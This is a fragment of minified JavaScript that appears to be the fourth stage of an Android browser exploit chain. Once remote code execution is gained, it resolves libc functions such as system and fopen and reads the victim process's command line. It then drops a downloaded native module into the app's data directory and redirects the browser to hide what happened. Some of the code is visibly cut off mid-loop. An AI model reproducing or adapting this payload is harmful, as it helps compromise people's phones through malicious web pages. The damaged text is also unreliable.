var ENABLE_DEBUG=!1;void 0===window.INFO&&(INFO=function(a){console.log(a)});void 0===window.ERR&&(ERR=function(){window.location.replace("${B_REDIRECT_URI}");throw Error();});function finish(){window.location.replace("${B_REDIRECT_URI}")} function stage4(a,g,d,q,c){function r(){null===window.g_module&&ERR("Module download failed!");var b="/data/data/"+s,c=b+"/module.so";(function(c,d){a.writestring(e,c);a.writestring(n,"wb");k=g.call(t,e,n);0===k&&ERR("cannot open file for writing: "+c);for(var b=d.byteLength,h=0,l=0;0b)for(var l=b,f=0;f [ Stage 4 ]");var x=d.requiresymbol("system"),t=d.requiresymbol("fopen");d.requiresymbol("fread");var y=d.requiresymbol("fgets"),w=d.requiresymbol("fwrite"),u=d.requiresymbol("fclose");q=d.requiresymbol("getpid");var e=c+53248;a.writestring(e,"/proc/self/cmdline");var n=c+53504;a.writestring(n,"r");var m=c+53760,k=g.call(t,e,n);0===k&&ERR("Can't open file");c=g.call(y,m,256,k);c!=m&&ERR("fgets() failed: "+c);var s=a.readstring(m); g.call(u,k);c=g.call(q);ENABLE_DEBUG&&INFO("Got RCE for "+s+" (PID: "+c+")");if(void 0!==window.g_module)r();else{var v;v=window.setInterval(function(){void 0!==window.g_module&&(r(),window.clearInterval(v))},100)}}; .